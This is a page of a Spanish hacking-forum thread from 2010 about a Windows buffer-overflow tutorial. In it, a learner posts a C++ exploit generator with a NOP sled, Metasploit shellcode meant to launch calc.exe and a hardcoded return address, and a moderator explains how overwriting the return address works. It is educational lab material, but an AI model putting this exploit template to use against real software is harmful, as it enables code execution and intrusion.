elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Entrar al Canal Oficial Telegram de elhacker.net


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking (Moderador: toxeek)
| | |-+  [Manual] Buffer Overflow en Windows
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] 3 4 5 Ir Abajo Respuesta Imprimir
Autor Tema: [Manual] Buffer Overflow en Windows  (Leído 42,421 veces)
<< Lucas, ¿quién más? >>

Desconectado Desconectado

Mensajes: 51


ANTI KIRCHNER- MONTONEROS - TERRORISTAS Y ASESINOS


Ver Perfil
Re: [Manual] Buffer Overflow en Windows
« Respuesta #10 en: 12 Febrero 2010, 12:50 pm »

No lo leí todo, pero hasta donde iba leyendo está excelente  :xD
En línea



Personalmente, prefiero tecnologías de Microsoft. Yo reconozco que defendí el software libre, pero ahora yo quiero vivir de esto. Mi trabajo.
soez

Desconectado Desconectado

Mensajes: 76



Ver Perfil
Re: [Manual] Buffer Overflow en Windows
« Respuesta #11 en: 14 Febrero 2010, 17:41 pm »

Ikary te felicito por el tuto!!  :)
y bueno despues de hacer el tutorial en mi pc no me termina de salir :-/
Lo de que aparezca la funcion oculta si me sale, pero yo metiendole mi propio payload para calc.exe sacado de metasploit no me termina de salir, te pongo el codigo y alguna foto a ver si ves algo

Código:
#include <cstdlib>
#include <iostream>
#include <fstream>
using namespace std;

int main()
{
    char ret[] = "\x58\xFA\x22\x00";
    char nops[] =
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90";
                
    unsigned char shellcode[] =
                "\xdb\xcd\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x33\xbf\x0f\x5a\x74"
                "\xeb\x31\x7e\x17\x83\xc6\x04\x03\x71\x49\x96\x1e\x71\x85\xdf"
                "\xe1\x89\x56\x80\x68\x6c\x67\x92\x0f\xe5\xda\x22\x5b\xab\xd6"
                "\xc9\x09\x5f\x6c\xbf\x85\x50\xc5\x0a\xf0\x5f\xd6\xba\x3c\x33"
                "\x14\xdc\xc0\x49\x49\x3e\xf8\x82\x9c\x3f\x3d\xfe\x6f\x6d\x96"
                "\x75\xdd\x82\x93\xcb\xde\xa3\x73\x40\x5e\xdc\xf6\x96\x2b\x56"
                "\xf8\xc6\x84\xed\xb2\xfe\xaf\xaa\x62\xff\x7c\xa9\x5f\xb6\x09"
                "\x1a\x2b\x49\xd8\x52\xd4\x78\x24\x38\xeb\xb5\xa9\x40\x2b\x71"
                "\x52\x37\x47\x82\xef\x40\x9c\xf9\x2b\xc4\x01\x59\xbf\x7e\xe2"
                "\x58\x6c\x18\x61\x56\xd9\x6e\x2d\x7a\xdc\xa3\x45\x86\x55\x42"
                "\x8a\x0f\x2d\x61\x0e\x54\xf5\x08\x17\x30\x58\x34\x47\x9c\x05"
                "\x90\x03\x0e\x51\xa2\x49\x44\xa4\x26\xf4\x21\xa6\x38\xf7\x01"
                "\xcf\x09\x7c\xce\x88\x95\x57\xab\x69\x67\x6a\x21\xfd\xde\x1f"
                "\x08\x63\xe1\xf5\x4e\x9a\x62\xfc\x2e\x59\x7a\x75\x2b\x25\x3c"
                "\x65\x41\x36\xa9\x89\xf6\x37\xf8\xe9\x99\xab\x60\xc0\x3c\x4c"
                "\x02\x1c";


                  
    cout << "Creando exploit\n\n";
    ofstream fichero;
    fichero.open("archivo.txt");
    fichero << nops << shellcode << ret ;
    fichero.close();
    cout << "ya esta!!!";

    return 0;
}



El programa vulnerable es el mismo que el del tutorial, vamos que con 316 caracteres deberia llegar al EIP sin embargo...



PD. El ret es la direccion de memoria donde empieza el shell code no? Digamos que hace como un pequeño loop para ejecutarse? Saludos y gracias

PD2. 89 nops y 227 tamaño del shell code
« Última modificación: 14 Febrero 2010, 17:43 pm por soez » En línea

01001010 01100001 01110110 01101001 01100101 01110010
AlbertoBSD
Programador y
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.696


🏴 Libertad!!!!!


Ver Perfil WWW
Re: [Manual] Buffer Overflow en Windows
« Respuesta #12 en: 14 Febrero 2010, 18:17 pm »

Muchas veces las cosas cambian de un sistema a otro tanto el SP y otras cosas pueden hacer que el programa varie, también la versión del compilador y demas cosas.

Si se a leido todo el texto, solo necesitaras depurar un poco para que las cosas que estan saliendo mal se resuelvan.

Saludos
En línea

soez

Desconectado Desconectado

Mensajes: 76



Ver Perfil
Re: [Manual] Buffer Overflow en Windows
« Respuesta #13 en: 14 Febrero 2010, 18:28 pm »

Lo sé de hecho con la funcion oculta la direccion de memoria a la que apuntaba era otra y fue la que puse y asi me salió, no lo he calcado y bueno siguiendo el tutorial si no he entendido mal habia que coger la direccion de la pila donde empieza el payload y asi lo he hecho como muestro en la imagen. La duda que tengo aparte de si se ve algun error en lo que hice, es que hay que meter el codigo de la accion que queremos lograr (payload si mal no entiendo) dentro del todo el shell code y por ultimo ponerle la direccion EIP=(ret) en el tuto de nuevo el trozo donde empieza el payload dentro del shell code con lo que queremos lograr cierto? Quiero decir que si el shell code esta compuesto de nops+payload+ret cuando ejecutamos el exploit se ejecutan los 3 y la direccion ret tiene que apuntar de nuevo al payload dentro del shell code no? Saludos

PD. Aclararme si estoy equivocado en los conceptos  :P
« Última modificación: 14 Febrero 2010, 18:33 pm por soez » En línea

01001010 01100001 01110110 01101001 01100101 01110010
AlbertoBSD
Programador y
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.696


🏴 Libertad!!!!!


Ver Perfil WWW
Re: [Manual] Buffer Overflow en Windows
« Respuesta #14 en: 14 Febrero 2010, 18:47 pm »

Así es la dirección que tu pones en en tu código como RET debe de sobrescribir el ret de la función, para que cuando retorne a la función que lo llamo, retorne en su lugar a tu dirección de RET asi siempre y cuando la dirección que le pasaste apunte a uno de los nops o al primer byte del payload se ejecutara, aqui cabe mencionar que hay veces que no es necesario usar nops, es solo para tener mas pista de aterrizaje xD

Saludos
En línea

soez

Desconectado Desconectado

Mensajes: 76



Ver Perfil
Re: [Manual] Buffer Overflow en Windows
« Respuesta #15 en: 14 Febrero 2010, 18:58 pm »

Aun no me queda muy claro el retorno, el retorno es justo la direccion a la que apunta en cuanto se produce el overflow no?la que ponemos nosostros no? la direccion de retorno del programa normal de que sirviria? Saludos
En línea

01001010 01100001 01110110 01101001 01100101 01110010
AlbertoBSD
Programador y
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.696


🏴 Libertad!!!!!


Ver Perfil WWW
Re: [Manual] Buffer Overflow en Windows
« Respuesta #16 en: 14 Febrero 2010, 19:56 pm »

No sirve de nada, por eso se sobrescribe xD


En línea

soez

Desconectado Desconectado

Mensajes: 76



Ver Perfil
Re: [Manual] Buffer Overflow en Windows
« Respuesta #17 en: 14 Febrero 2010, 20:08 pm »

Vale xD muchas gracias Anon por las dudas ya me voy empapando :) a ver si le pego un segundo asalto y me termina de salir lo de la calculadora. Saludos!!
En línea

01001010 01100001 01110110 01101001 01100101 01110010
micky123

Desconectado Desconectado

Mensajes: 32


Ver Perfil
Re: [Manual] Buffer Overflow en Windows
« Respuesta #18 en: 15 Febrero 2010, 17:32 pm »

descargandoo..... :) :)
En línea

AlbertoBSD
Programador y
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.696


🏴 Libertad!!!!!


Ver Perfil WWW
Re: [Manual] Buffer Overflow en Windows
« Respuesta #19 en: 15 Febrero 2010, 22:00 pm »

ikary ahora que lo recuerdo, pudistes explotar el vulnerable mediante la linea de comando (los argumentos) ??'

Saludos
En línea

Páginas: 1 [2] 3 4 5 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
buffer overflow
Ingeniería Inversa
Meg 2 5,824 Último mensaje 6 Febrero 2009, 11:20 am
por Shaddy
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines